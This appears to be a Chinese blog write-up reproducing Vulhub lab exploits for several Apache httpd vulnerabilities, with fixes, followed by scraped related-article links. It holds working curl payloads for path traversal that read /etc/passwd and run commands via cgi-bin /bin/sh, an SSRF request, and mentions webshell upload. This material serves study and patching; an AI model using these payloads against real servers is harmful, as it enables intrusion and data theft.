Vulhub Apache Httpd漏洞复现
前言
Apache Httpd(Hypertext Transfer Protocol daemon)是一个开源的网页服务器软件,它遵循HTTP协议,用于从网络提供超文本文档。
多后缀解析漏洞
漏洞描述
Apache Httpd默认支持一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。
多后缀解析漏洞是由于服务器配置不当造成的。如果在配置php文件处理程序时存在问题,给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要一个文件含有.php后缀的文件就会被识别成php文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
漏洞复现
复现环境:/vulhub/httpd/apache_parsing_vulnerability
尝试上传php文件,发现上传失败,只有上传图片才能成功。

在php文件扩展名后面加上.jpeg,.png,gif后,均可上传成功。

执行docker exec -it 499b998638bf bash进入到容器环境,可以看到uploadfiles/目录下被上传的文件。

如果去请求uploadfiles/apache.php.jpeg这个文件,那么这个文件就会被当作php文件解析执行。

我们可以通过上传文件名为xxx.php.jpg的一句话木马,利用Apache解析漏洞进行getshell。
修复方案
- 方案一 httpd.conf 加入以下语句,从而禁止文件名格式为
.php.的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
- 处理程序只处理以
.php结尾的文件,注释掉原本的配置命令AddHandler application/x-httpd-php .php
<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>
换行解析漏洞(CVE-2017-15715)
漏洞描述
换行解析漏洞的原因是Apache配置文件会用正则表达式中的$用来匹配字符串结位置,但在设置了对象的Multiline属性的条件下,$还会匹配到字符串结尾的换行符。也就是说$会去匹配换行符(Line Feed,LF),\x0A转义序列代表的是换行符,所以在php文件加上 \x0A 可以进行绕过。
配置文件中设置正则表达式对象的Multiline属性:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
在解析php时,1.php\x0A将被按照php后缀进行解析。
漏洞复现
复现环境:/vulhub/httpd/CVE-2017-15715
影响版本:2.4.0 - 2.4.29
尝试上传php文件,发现上传失败。

在hex模块将php文件扩展名后面改为0a,成功绕过,上传成功。

在扩展名后加上\n也可以成功绕过。
需要注意的是:
在Linux系统中,文本文件通常使用单独的 \x0A(LF)作为行结束符。
在 Windows 系统中,文本文件的行结束符通常是 \x0D\x0A,即回车符(CR)后跟换行符(LF),也就是\r\n。
同样可以通过修改扩展名来上传一句话木马,利用Apache解析漏洞进行getshell。
如果后端在获取文件名是使用$_FILES['file']['name'],那么会自动把换行去掉,则无法利用。
修复方案
修复方案就很简单了,升级版本,或者在获取文件名时将扩展名后面的换行符等统统去掉。
2.4.49 路径穿越漏洞(CVE-2021-41773)
漏洞描述
这个漏洞是由于在路径规范化中的错误导致的,允许攻击者利用路径穿越攻击映射URL到配置的目录之外的文件。
Apache HTTP Server 2.4.49 版本在对路径参数进行规范化时会先进行URL解码,判断是否存在../这样的路径穿越符。当检测到路径中存在%字符时,如果后面紧跟的2个字符是十六进制字符,就会进行URL解码,将其转换成标准字符:%2e转换为.,所以就会将.%2e/和%2e%2e/转换为../,但是不会把%2e./转换。
漏洞复现
复现环境:/vulhub/httpd/CVE-2021-41773
影响版本:2.4.49
使用如下curl命令来发送Payload:
curl -v --path-as-is http://192.168.88.150:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

修复方案
在2.4.50版本中,修复了但又没完全修复,仍然可以绕过,升级到更高版本最好。
2.4.50 路径穿越漏洞(CVE-2021-42013)
漏洞描述
Apache HTTP Server 2.4.50 版本中对 2.4.49 版本中出现的目录穿越漏洞进行了修复,但这个修复是不完整的,算是对补丁的绕过。
2.4.50 版本的修复可以避免一次URL编码导致的路径穿越,但是由于在请求处理过程中,首先会调用ap_normalize_path函数进行一次URL解码,之后会调用ap_unescape_url函数进行二次解码,此时就可以使用URL二次编码的方式绕过。
使用.%%32%65/进行绕过,经过ap_normalize_path函数处理后.%2e/,再经过ap_unescape_url函数处理后../,之后就和 2.4.49 一样的套路。
漏洞复现
复现环境:/vulhub/httpd/CVE-2021-42013
影响版本:2.4.49 和 2.4.50
使用如下curl命令来发送Payload:
curl -v --path-as-is http://192.168.88.150:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

修复方案
修复方案没什么好说的,就升级版本。
SSRF漏洞(CVE-2021-40438)
漏洞描述
在 2.4.48 及以前的版本中,mod_proxy 模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。
SSRF(服务器端请求伪造)攻击的目标通常是内部系统,这些系统不会直接对外开放,但一些服务器却可以访问它们。就好比这个docker环境中的Apache服务器是以反向代理服务器的身份,运行在客户端和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。
漏洞复现
发送如下数据包Payload(记得修改Host):
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.88.150:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
成功请求到 http://example.com 的页面并返回:

修复方案
升级到最新版本。
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Vulhub Apache Httpd漏洞复现的更多相关文章
- Apache log4j2-RCE 漏洞复现(CVE-2021-44228)
Apache log4j2-RCE 漏洞复现 0x01 漏洞简介 Apache Log4j2是一个基于Java的日志记录工具.由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶 ...
- Apache解析漏洞复现(CVE-2017-15715),可以绕过黑名单
照着P神的文章准备复现一下(总结一下经验) 环境的安装 这里面直接使用的vulhub里面的环境来进行安装的(为了方便吗) 基础环境如下  实际上Apache版本在2.4.0~2.4.29即可 i ...
- Apache ---- Solrl漏洞复现
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引:也可以通过Http Get操 ...
- Apache Shiro漏洞复现
利用burp dns进行检测,脚本如下: import sys import uuid import base64 import subprocess from Crypto.Cipher impor ...
- Apache HTTPD 换行解析漏洞--CVE-2017-15715
CVE-2017-15715 一.漏洞描述 Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页.其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1 ...
- SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)
0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1) 扫描内网(主 ...
- Apache HTTPD 多后缀解析漏洞复现(Kali)
通过vulhub靶场进行复现操作 1.首先搭建靶场环境(采用Kali) cd /vulhub/httpd/apache_parsing_vulnerability //进入对应漏洞目录,具体 ...
- 漏洞复现——Apache HTTPD多后缀解析漏洞
漏洞原理:Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache Httpd这个特 ...
- apache httpd多后缀解析漏洞复现
apache httpd多后缀解析漏洞复现 一.漏洞描述 Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析 ...
- Vulhub 漏洞学习之:Apache HTTPD
Vulhub 漏洞学习之:Apache HTTPD 目录 Vulhub 漏洞学习之:Apache HTTPD 1 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 1.1 漏洞利 ...
随机推荐
- R-Adapter:零样本模型微调新突破,提升鲁棒性与泛化能力 | ECCV 2024
大规模图像-文本预训练模型实现了零样本分类,并在不同数据分布下提供了一致的准确性.然而,这些模型在下游任务中通常需要微调优化,这会降低对于超出分布范围的数据的泛化能力,并需要大量的计算资源.论文提出新 ...
- 鸿蒙Next-支付宝SDK接入教程
App适配鸿蒙Next,开始做支付功能了,目前来说只有支付宝支持鸿蒙Next,微信还没上架,但是支付宝官方的文档跟Demo都很老,下载官方的Demo用最新版的DevEco-Studio导入都不成功. ...
- pycharm批量注释
pycharm批量注释不像是spyder可以鼠标右键选择,pycharm是要用快捷键的,选中要注释的代码,然后快捷键就可以了. 注释代码和取消注释代码的快捷键都一样ctrl + /
- MyBatisPlus——代码生成器
代码生成器 快速生成各项代码 步骤 创建Generator类,并创建main方法 创建代码生成器 AutoGenerator autoGenerator = new AutoGenerator(); ...
- 系统编程-进程-vfork使用、浅析
1. 先贴代码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int globvar = 6 ...
- [OI] 偏序
\(n\) 维偏序即给出若干个点对 \((a_{i},b_{i},\cdots,n_{i})\),对每个 \(i\) 求出满足 \(a_{j}\gt a_{i},b_{j}\gt b_{i}\cdot ...
- Java项目笔记(三)
一.前端传参类似以下格式,对象中包含一个对象,后台此时接收option为stirng类型 curriculumid question answer option {optionOne ,optionT ...
- 【翻译】实现 Blocked Floyd-Warshall 用于解决所有对最短路径问题 C# 实现
介绍 在之前的帖子中,我们实现了Floyd-Warshall(弗洛伊德-沃沙尔算法)(四种变体)以及路由重建算法.在这些帖子中,我们探讨了所有对最短路径问题的基本概念.内存中的数据表示.并行性.向量化 ...
- war3辅助代码及运行方式
打开VS2019 点这个 自动生成这么一堆代码,全删了,就剩这些就行 然后点这里 然后向CPP里粘贴以下代码 #include "tlhelp32.h" HANDLE hwnd = ...
- [rCore学习笔记 029] 动态内存分配器实现-以buddy_system_allocator源码为例
在上一部分,我们讲了动态内存分配器的原理是维护一个堆,而且是实现各种连续内存分配方法. 但是上一部分是直接通过引用了buddy_system_allocator来解决的问题. 那么对于内存分配算法有兴 ...